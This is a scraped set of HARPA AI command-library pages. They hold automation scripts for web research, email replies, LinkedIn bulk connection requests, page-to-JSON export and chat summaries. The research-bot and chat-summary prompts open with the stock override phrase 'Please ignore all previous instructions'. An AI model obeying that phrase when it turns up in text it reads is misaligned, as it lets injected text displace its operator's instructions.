cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Deep Research Bot [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🤖  Deep Research Bot ===================== Performs an in-depth online research to answer user queries. Split questions into sub-queries for deeper scans. --------------------------------------------------------------------------------------------------------------- Created by **HARPA AI** Updated on **Jan 26, 2025 18:18** Installed **503 times** 32 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: say message: >- **Tip:** This command performs a thorough in-depth online search for a given query or topic and is best used for research. It takes time and is token hungry (~20k tokens on GPT-4o-mini per search depth). - param: userQuery message: '![icon](/img/commands/general-search-refraction.svg) Type your search query:' type: ask options: null default: '' - param: depth message: >- **Set the search depth.** Search depth indicates how many search pages will be analyzed. Each depth level generates an extra sub-query, improving search quality. options: - label: 🔍 SEARCH value: 1 - label: 2 SUB-QUERIES value: 2 - label: 3 SUB-QUERIES value: 3 - label: 4 SUB-QUERIES value: 4 type: ask default: '' optionsInvalid: false - steps: - prompt: >- You are a Research Agent. I need you to break down my search query into {{depth}} clarifying queries in {{language}}, the answers to which are necessary to form a detailed response to my query: "{{userQuery}}" Follow the instructions: - The first sub-query should be as close as possible to My Query in wording. If my query is short and simple - repeat it in the first sub-query. - Subsequent sub-queries should clarify the first one. - Each sub-query should include keywords from [my search query]. For example, if asking about a city, include it in all sub-queries to find relevant info. - Sub-queries should be brief. Imagine typing a brief Google query for a precise answer. - Do not repeat my command and instructions. - Response in JSON array with {{depth}} objects (queries). - Write nothing other than the JSON. Example input: "What is the history of the steam engine, its industrial impact, and who invented the first practical version and when?" Example JSON response: [\ {\ "query": "Steam engine history and industrial impact"\ },\ {\ "query": "First practical steam engine inventor and date"\ }\ ] JSON response: param: subqueries condition: '{{depth}} > 1' type: gpt silent: true - type: calc func: extract-json to: subqueries param: subqueries index: all - message: >- 🧩 To give a comprehensive response, your question was split into **{{subqueries.length}}** sub-queries. type: say - steps: - value: '{{item.query}}' type: calc func: set param: query format: text - message: '⏳ Scanning information for sub-query: "**{{query}}**".' type: say - param: information value: '{{serp {{query}}}}' type: calc func: set format: '' - func: serp.extract-links to: links type: calc from: information - param: total value: '{{links.length}}' type: calc func: set format: number - steps: - value: '{{page {{item.url}}}}' type: calc func: set param: content format: '' - param: pageUrl type: calc func: set format: text value: '{{item.url}}' - code: |- const regex = /^(?:https?:\/\/)?(?:www\.)?([^\/]+)/; const testString = pageUrl; const matches = testString.match(regex); if (matches) { const hostname = matches[1]; return hostname; } param: hostname type: js args: pageUrl timeout: 15000 silent: true - type: calc func: increment param: index delta: 1 - args: index, total code: |- function calculatePercentage(index, total) { index = Number(index); total = Number(total); if (isNaN(index) || isNaN(total)) { return "Error"; } return (index / total * 100).toFixed(1) + "%"; } let result = calculatePercentage(index, total); return result; param: percentage type: js timeout: 15000 silent: true - steps: - prompt: >- Act as a professional researcher. Analyze the given [web page content] and summarize useful information to answer my query: "{{query}}" Instructions: - Imagine you are a Google Search engine, collecting relevant information from various websites to form an answer to my query in {{language}}. - Gather only information that will be useful in answering my question. - Extract as much useful information as possible, be concise and don't write more than needed to answer the question. - Avoid general phrases. - When referring to someone's opinion about something, mention the author. Quote if appropriate. - If you haven't found anything useful, don't make up information or guess - simply say "No relevant information found" in {{language}}. - Do not echo my prompt in your response. - Respond with a JSON object containing a single field: "info". - Write nothing other than the JSON. Example JSON response: { "info": "Write here textual information that would help answer my query. Write as much as you think is necessary, focusing on providing useful information for further processing." } [Web page content]: {{content}}. JSON response: param: data type: gpt isolated: true silent: true - index: first type: calc func: extract-json to: data param: data - param: data.url type: calc func: set format: auto value: '{{item.url}}' - param: data.title type: calc func: set format: auto value: '{{item.title}}' - list: array type: calc func: list-add index: last item: data - to: SAY STATUS type: jump condition: '{{content}} =~ ^[\s\S]{200,}$' label: FETCHED type: group - steps: - type: navigate url: '{{item.url}}' waitForIdle: false silent: false - type: wait for: 0.5s silent: true - prompt: >- Act as a professional researcher. Analyze the given [web page content] and summarize useful information to answer my query: "{{query}}" Instructions: - Imagine you are a Google Search engine, collecting relevant information from various websites to form an answer to my query in {{language}}. - Gather only information that will be useful in answering my question. - Extract as much useful information as possible from the page content. - Avoid general phrases. - When referring to someone's opinion about something, mention the author. Quote if appropriate. - If you haven't found anything useful, don't make up information or guess - simply say "No relevant information found" in {{language}}. - Do not echo my prompt in your response. - Respond with a JSON object containing a single field: "info". - Write nothing other than the JSON. Example JSON response: { "info": "Write here textual information that would help answer my query. Write as much as you think is necessary, focusing on providing useful information for further processing." } [Web page content]: {{page {{query}} limit=30%}}. JSON response: type: gpt isolated: true param: data silent: true - type: calc func: extract-json to: data param: data index: first - type: calc func: set param: data.url format: auto value: '{{item.url}}' - type: calc func: set param: data.title format: auto value: '{{item.title}}' - type: calc func: list-add index: last list: array item: data label: NOT FETCHED type: group - message: >- 🔍 Analyzed **{{index}} / {{total}}**, [{{hostname}}]({{pageUrl}}) label: ⛔️SAY STATUS condition: '{{index}} = {{total1}}' type: say - message: 🔍 Analyzed **{{percentage}}**, [{{hostname}}]({{pageUrl}}) condition: '{{index}} != {{total}}' type: say label: SAY STATUS - message: |- ✅ **{{percentage}}** pages scanned for "**{{query}}**". Last checked page: [{{hostname}}]({{pageUrl}}) condition: '{{index}} = {{total}}' type: say label: SAY STATUS type: loop list: links type: loop list: subqueries - message: >- 🤖 Analyzed **{{array.length}}** pages from **{{subqueries.length}}** Google searches. Now preparing a comprehensive answer to your question. type: say label: DEPTH > 1 type: group condition: '{{depth}} > 1' - steps: - message: ⏳ Give me a minute to search through the web for you... type: say - value: '{{userQuery}}' type: calc func: set param: query format: text - type: calc func: set param: information format: '' value: '{{serp {{query}}}}' - type: calc func: serp.extract-links from: information to: links - type: calc func: set param: total format: number value: '{{links.length}}' - steps: - label: TRYING TO FETCH type: calc func: set param: content format: '' value: '{{page {{item.url}}}}' - type: calc func: set param: pageUrl format: text value: '{{item.url}}' - type: js args: pageUrl code: |- const regex = /^(?:https?:\/\/)?(?:www\.)?([^\/]+)/; const testString = pageUrl; const matches = testString.match(regex); if (matches) { const hostname = matches[1]; return hostname; } param: hostname timeout: 15000 silent: true - type: calc func: increment param: index delta: 1 - type: js args: index, total code: |- function calculatePercentage(index, total) { index = Number(index); total = Number(total); if (isNaN(index) || isNaN(total)) { return "Error"; } return (index / total * 100).toFixed(1) + "%"; } let result = calculatePercentage(index, total); return result; param: percentage timeout: 15000 silent: true - steps: - type: gpt prompt: >- Act as a professional researcher. Analyze the given [web page content] and summarize useful information to answer my query: "{{query}}" Instructions: - Imagine you are a Google Search engine, collecting relevant information from various websites to form an answer to my query in {{language}}. - Gather only information that will be useful in answering my question. - Extract as much useful information as possible, be concise and don't write more than needed to answer the question. - Avoid general phrases. - When referring to someone's opinion about something, mention the author. Quote if appropriate. - If you haven't found anything useful, don't make up information or guess - simply say "No relevant information found" in {{language}}. - Do not echo my prompt in your response. - Respond with a JSON object containing a single field: "info". - Write nothing other than the JSON. Example JSON response: { "info": "Write here textual information that would help answer my query. Write as much as you think is necessary, focusing on providing useful information for further processing." } [Web page content]: {{content}}. JSON response: isolated: true param: data silent: true - type: calc func: extract-json to: data param: data index: first - type: calc func: set param: data.url format: auto value: '{{item.url}}' - type: calc func: set param: data.title format: auto value: '{{item.title}}' - type: calc func: list-add index: last list: array item: data - type: jump to: SAY STATUS type: group condition: '{{content}} =~ ^[\s\S]{200,}$' label: FETCHED - steps: - type: navigate url: '{{item.url}}' waitForIdle: false silent: false - type: wait for: 0.5s silent: true - type: gpt prompt: >- Act as a professional researcher. Analyze the given [web page content] and summarize useful information to answer my query: "{{query}}" Instructions: - Imagine you are a Google Search engine, collecting relevant information from various websites to form an answer to my query in {{language}}. - Gather only information that will be useful in answering my question. - Extract as much useful information as possible from the page content. - Avoid general phrases. - When referring to someone's opinion about something, mention the author. Quote if appropriate. - If you haven't found anything useful, don't make up information or guess - simply say "No relevant information found" in {{language}}. - Do not echo my prompt in your response. - Respond with a JSON object containing a single field: "info". - Write nothing other than the JSON. Example JSON response: { "info": "Write here textual information that would help answer my query. Write as much as you think is necessary, focusing on providing useful information for further processing." } [Web page content]: {{page {{query}} limit=30%}}. JSON response: isolated: true param: data silent: true - type: calc func: extract-json to: data param: data index: first - type: calc func: set param: data.url format: auto value: '{{item.url}}' - type: calc func: set param: data.title format: auto value: '{{item.title}}' - type: calc func: list-add index: last list: array item: data type: group label: NOT FETCHED - type: say message: 🔍 Analyzed **{{index}} / {{total}}**, [{{hostname}}]({{pageUrl}}) label: ⛔️SAY STATUS condition: '{{index}} = {{total1}}' - type: say message: 🔍 Analyzed **{{percentage}}**, [{{hostname}}]({{pageUrl}}) label: SAY STATUS condition: '{{index}} != {{total}}' - type: say message: |- ✅ **{{percentage}}** pages scanned for "**{{query}}**". Last checked page: [{{hostname}}]({{pageUrl}}) label: SAY STATUS condition: '{{index}} = {{total}}' type: loop list: links condition: '{{depth}} = 1' label: DEPTH = 1 type: group - prompt: >- Please ignore all previous instructions. I want you to only respond in {{language}}. You are a Research AI Agent. I would like you create a comprehensive answer to [MY QUESTION], adhering to a specific format I provide: - Utilize [Information from the Web], provided below. - Extract as much useful information as possible from the web search results - Integrate insights from multiple web search sources, and ensure inclusion of relevant links in a markdown fully rendered format: [➊](URL), [➋](URL) etc, to each bullet point. - Every URL should correspond to only one symbol: ➊ ➋ ➌ ➍ ➎ ➏ ➐ ➑ ➒ ➓. - If multiple sources repeat the same information, describe it and cite all sources at once. - If you know the answer, add your own knowledge to make it more complete. - Do not hallucinate facts or information. - Do not use any other tools. - Avoid general phrases. Follow the [RESPONSE FORMAT]: ## Key takeaway: Provide a single, most important takeaway from the web search results in {{language}}. ## Detailed answer: Analyze and present detailed information that helps answer my question. There should be no limit in words or bullet points to the report. Ensure that all ideas, facts, and relevant information are concisely reported, and the answer is comprehensive. Incorporate the maximum number of source links within the text. [MY QUESTION]: {{userQuery}} [Information from the Web]: {{array}} [COMPREHENSIVE RESPONSE WITH SOURCE LINKS ([➊](URL))]: type: gpt isolated: true param: gpt Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Respond to Email [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📤  Respond to Email ==================== Reply to emails in one click in your tone of voice. Launch on GMail, ProtonMail, Outlook, FastMail. --------------------------------------------------------------------------------------------------- Created by **HARPA AI** Updated on **Nov 11, 2024 07:22** Installed **458 times** 29 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: calc func: set param: content format: '' value: '{{email}}' - type: say message: >- Could not read email from the opened page. Please open email in GMail, ProtonMail, Outlook, FastMail and run this command again. condition: '{{content}} =' - type: stop condition: '{{content}} =' - type: ask param: instructions message: >- How to respond? **Tip:** you can edit this command to add more reply options. options: - label: ✅ ACKNOWLEDGE value: Acknowledge information. - label: ⛔ NOT INTERESTED value: >- I'm not interested in the email, reply should be a short polite decline of the offer due to other priorities. - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - prompt: >- Please read the following email in {{domain}} and write a reply, as if from me, following instructions below. Only output the reply email content, without extra information. Omit reply title. Do not share my location in reply. Email to write reply to: {{content}} Instructions: - {{instructions}} - A few facts about me: {{userinfo}} - My writing tone: {{tone}} Reply: type: gpt param: gpt - type: ask param: action message: '' options: - label: ✅ DONE value: done - label: 💬 PASTE value: paste - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: stop condition: '{{action}} = done' - type: paste text: '{{gpt}}' mode: null selectorType: ai selector: null item: null close: false condition: '{{action}} = paste' silent: true - type: gpt prompt: '{{action}}' condition: '{{action}} = $custom' Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LinkedIn Auto Search & Connect [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🔗  LinkedIn Auto Search & Connect ================================== Automatically sends LinkedIn connection requests. First, search and filter for the people you're interested in. Then run this command on the results page to send connection requests. #make #grid #linkedin ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Created by **HARPA AI** Updated on **Mar 17, 2025 12:29** Installed **374 times** 23 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: say message: >- 💡 First, search and filter for the people you're interested in. Then run this command on the results page to send connection requests. Please note that your LinkedIn interface needs to be set to English. - type: ask param: targetProfileCount message: |- How many LinkedIn profiles would you like to connect with? LinkedIn typically limits you to connecting with ~30 users per day. options: - label: 👤10 value: 10 - label: 👥30 value: 30 - $custom default: '' vision: enabled: false mode: area send: true hint: '' optionsInvalid: false - type: js code: | async function connectToProfiles(targetProfileCount) { const selectors = { nextButton: '.artdeco-pagination--has-controls .artdeco-button:nth-of-type(2)', profileList: '[role="list"]', profileContainer: 'li', name: 'span[aria-hidden="true"]', status: '.t-14.t-black.t-normal', link: 'a[data-test-app-aware-link]', sendButton: '.artdeco-modal__actionbar button:last-child' }; const profiles = []; const processedLinks = new Set(); // Helper function to wait const wait = ms => new Promise(resolve => setTimeout(resolve, ms)); // Click Connect and Send buttons async function connectAndSend() { // Find the most common button text, with preference for "Connect" const buttonFrequency = {}; let maxCount = 0; let mostCommonText = null; Array.from(document.querySelectorAll('div.linked-area button > .artdeco-button__text')) .map(btn => btn.innerText) .forEach(text => { buttonFrequency[text] = (buttonFrequency[text] || 0) + 1; if (buttonFrequency[text] > maxCount) { maxCount = buttonFrequency[text]; mostCommonText = text; } }); // Override with "Connect" if it exists if (buttonFrequency['Connect']) { mostCommonText = 'Connect'; } // Find all buttons with the most common text and filter out muted buttons const connectButtons = Array.from(document.querySelectorAll('div.linked-area button > .artdeco-button__text')) .filter(btn => { return btn.innerText === mostCommonText && !btn.closest('button').classList.contains('artdeco-button--muted'); }) .map(btn => btn.closest('button')); if (!connectButtons.length) return false; // Click the first valid connect button connectButtons[0].click(); await wait(1000); const sendButton = document.querySelector(selectors.sendButton); if (sendButton) { sendButton.click(); return true; } return false; } // Process profiles on current page async function processCurrentPage() { const containers = document.querySelectorAll(`${selectors.profileList} ${selectors.profileContainer}`); for (const container of containers) { // Stop if target count reached if (profiles.length >= targetProfileCount) return true; try { const link = container.querySelector(selectors.link).href.split('?')[0]; // Skip if already processed if (processedLinks.has(link)) continue; // Try to connect if (await connectAndSend()) { profiles.push({ name: container.querySelector(selectors.name)?.textContent.trim() || 'No name', status: container.querySelector(selectors.status)?.textContent.trim() || 'No status', link: link }); processedLinks.add(link); await wait(2000); // Wait between connections } } catch (error) { console.log('Error processing profile:', error); } } return false; } // Main loop while (profiles.length < targetProfileCount) { const isComplete = await processCurrentPage(); if (isComplete) break; // Try to go to next page const nextButton = document.querySelector(selectors.nextButton); if (!nextButton || nextButton.disabled) break; nextButton.click(); await wait(4000); } console.log(`Connected to ${profiles.length} profiles out of ${targetProfileCount} requested`); return profiles; } return connectToProfiles(targetProfileCount); param: json timeout: 300000 args: targetProfileCount silent: true - message: |- **Connection request sent:** {{json}} type: say - param: action options: - label: ✅ DONE value: done - label: 📦 EXPORT JSON value: export vision: enabled: false mode: area hint: '' send: true type: ask message: '' default: '' optionsInvalid: false - type: stop condition: '{{action}} = done' - what: param filename: linkedin-group-members.txt condition: '{{action}} = export' type: export param: json Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LinkedIn Connection [NO MESSAGE] [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🔗  LinkedIn Connection \[NO MESSAGE\] ====================================== Send a LinkedIn profile URL to connect with the target profile without a message. Works on English setup only. #linkedin #grid ------------------------------------------------------------------------------------------------------------------------------ Created by **HARPA AI** Updated on **May 7, 2025 10:51** Installed **240 times** 17 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: js args: selector code: |- const connectAndSend = async function() { // Find and click Connect button const connectButton = Array.from(document.querySelectorAll('button.artdeco-button--primary')).find(button => button.querySelector('.artdeco-button__text')?.innerText.includes('Connect') && button.offsetParent !== null && window.getComputedStyle(button).display !== 'none' && window.getComputedStyle(button).visibility !== 'hidden' ); if (!connectButton) { return false; } connectButton.click(); // Wait 1 second await new Promise(resolve => setTimeout(resolve, 1000)); // Find and click Send button Array.from(document.querySelectorAll('button.artdeco-button--primary')).find(button => button.querySelector('.artdeco-button__text')?.innerText.includes('Send without a note') && button.offsetParent !== null && window.getComputedStyle(button).display !== 'none' && window.getComputedStyle(button).visibility !== 'hidden' )?.click(); return true; }; return connectAndSend(); param: result timeout: 15000 onFailure: '' silent: true - type: say message: '{{result}}' Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Convert Page to JSON [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📦  Convert Page to JSON ======================== Extract webpage data into structured and customizable JSON format. Results can be downloaded, sent via webhook, or used in other commands. ------------------------------------------------------------------------------------------------------------------------------------------ Created by **HARPA AI** Updated on **Jan 4, 2025 20:57** Installed **150 times** 21 SENDS HTTP REQUESTS How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - param: fields message: "Describe the fields that should be in the JSON and their content, e.g.:\n\n```\nurl - webpage URL,\ntitle - product title, \ndescription - a brief description of the product’s features.\n```\n\nOr send an example of the JSON file you would like to receive, e.g.:\n\n```\n{\n\t\"product\": \"Product name\",\n\t\"description\": \"Brief product description\",\n\t\"price\": 1000,\n\t\"url\": \"page url\"\n}\n```" vision: enabled: false mode: area send: true hint: '' type: ask options: null default: '' - prompt: >- You are a Data Research AI Agent. Your task is to extract data from a web page and respond with JSON as requested. Follow these instructions: - Analyze the web page and all the information needed to fill the requested JSON fields: {{fields}} - If I haven't described criteria for determining the information for corresponding fields, decide this independently based on your judgment. - Respond in {{language}}. - Be concise and to the point. - Respond with a JSON containing object (or objects) with fields. - Write nothing other than the JSON. - Wrap your JSON response in a code block. Example JSON response: { "field1": "Text", "field2": "Text", "field3": "Text", "field4": "Text" } Webpage URL: {{url}} Webpage Data: {{page}} JSON response: type: gpt param: json isolated: true - type: calc func: extract-json to: json param: json index: '' - to: g.json func: clone type: calc from: json - message: JSON is stored in **{{g.json}}** and can be used in other commands. type: say interpolate: false - param: action options: - value: done label: ✅ DONE - label: 📦 EXPORT value: export - label: 🔗 SEND VIA WEBHOOK value: webhook vision: enabled: false mode: area hint: '' send: true type: ask message: '' default: '' optionsInvalid: false - condition: '{{action}} = done' type: stop - what: param condition: '{{action}} = export' type: export param: json - steps: - message: 'Please provide the Webhook URL:' vision: enabled: false mode: area hint: '' send: true param: webhook type: ask options: null default: '' - type: request url: '{{webhook}}' method: auto body: '{{json}}' auth: enabled: false username: '' password: '' headers: null param: '' bodyInvalid: true condition: '{{action}} = webhook' type: group Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Telegram, WhatsApp & Discord summary [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ♻️  Telegram, WhatsApp & Discord summary ======================================== Summarizes Telegram, WhatsApp or Discord chat messages within a specified amount, helping to quickly grasp the main essence of the discussion. Writes response drafts if required. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **HARPA AI** Updated on **Nov 11, 2024 09:04** Installed **400 times** 24 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: group steps: - type: say message: >- ⛔️ Nothing to summarize. This is not a Telegram, WhatsApp or Discord webpage. - type: stop condition: '{{thread exists}} =' label: NOT TG,WA OR DISCORD - type: ask param: messagesCount message: How many messages to scan and use, please type in a number? options: - label: ✅ SCAN UP TO 100 COMMENTS value: 100 - $custom default: '' vision: enabled: false mode: area send: true hint: '' condition: '{{thread exists}}' optionsInvalid: false - type: calc func: set param: data value: '{{thread limit={{messagesCount}}}}' format: '' - type: gpt prompt: >- Please ignore all previous instructions. I want you to act as a professional conversation analyzer and respond only in {{language}}. Your task is to analyze the provided chat messages and create a structured summary following these requirements: 1. Start with a comprehensive "Overall Summary" (2-3 sentences maximum) 2. Provide "Key Points": - List discussion key points in bullet format - Include key participants for each point (if known) - Highlight crucial decisions or conclusions - Note any unresolved issues 3. If my responses are needed, provide "Response Drafts": - Write responses in the same language as the original messages so the reader understands the meaning. - If no one asks me to respond, do not write drafts. - If you don't know the username of who you're replying to - do not write "Unknown". - Create separate drafts for each @[username] requiring a response - Format in markdown code blocks - Keep responses concise and relevant - Match my communication style: {{tone}} Follow the required response format: ## Overall Summary [Concise summary of the entire conversation] ### Discussion Key Points: - 1st key point text (Participant real names or @[usernames]). - 2nd key point text (Participant real names or @[usernames]). etc. ### Response Drafts: (Drop this title and this section if no response is needed) Reply to @[Username] or if the username is unknown, specify the topic for which the draft was written. ```markdown [Draft response] ``` [Information about me]: {{userinfo}} [MESSAGES ARRAY]: {{data}} YOUR RESPONSE: isolated: true Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | BNN.MX Data Analysis [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 💡  BNN.MX Data Analysis ======================== Send a PDF, screenshot, or any text containing KPI data or dashboard metrics so I can create a complete report about this information. Envía un PDF, captura de pantalla o cualquier texto que contenga datos de KPI o métricas de dashboard para que pueda crear un informe completo sobre esta información. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **HARPA AI** Updated on **Apr 25, 2025 09:38** Installed **264 times** 23 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: data message: >- 📌Send me KPIs, dashboards, or any other information for analysis as a screenshot, PDF, or text. 💡 Envíeme KPIs, paneles de control o cualquier otra información para análisis como una captura de pantalla, PDF o texto. options: null default: '' vision: enabled: false mode: area hint: Pick what to analyse send: true optionsInvalid: false label: ASK FOR DATA - type: ask param: instructions message: |- 📌 Send additional instructions or data. Press Enter to skip. 💡 Envíe instrucciones o datos adicionales. Presione Enter para omitir. options: null default: no additional instructions vision: enabled: false mode: area hint: '' send: true label: ASK FOR INSTRUCTIONS - type: gpt prompt: > Analyze the provided data of marketing dashboards or data visualizations and provide an in-depth analysis in {{language}} following my instructions. ## Image Analysis Tasks: 1. Identify the type of dashboard/report (Looker Studio, social media metrics, website analytics, etc.) 2. Extract key metrics and KPIs visible in the data 3. Highlight any trends, anomalies, or patterns in the data 4. Compare current performance against any visible benchmarks or targets 5. Identify the time period represented in the data ## Specialized Analysis: - For social media metrics (Meta, TikTok): Evaluate engagement rates, audience growth, content performance - For website analytics: Analyze traffic sources, conversion paths, user behavior metrics - For sentiment analysis: Evaluate conversation sentiment in Latin American Spanish context (specifically Mexican) - For KPI tracking: Assess progress toward monthly/annual targets and forecast future performance ## Output Format: 1. Summary of what the data shows (dashboard type, data period) 2. Key metrics analysis with numerical insights 3. Performance evaluation against targets 4. 3-5 actionable recommendations based on the data 5. Potential areas for deeper investigation Use markdown formatting to make your reply easier to read. Provide your analysis in clear, concise {{language}} language that balances technical accuracy with accessibility for non-experts in digital marketing. Focus on telling a data-driven story that highlights the most important insights for business decision-making. Additional instructions or info: {{instructions}} Data for analysis: {{data}} [YOUR ANALYSIS]: param: '' label: AI PROMPT isolated: 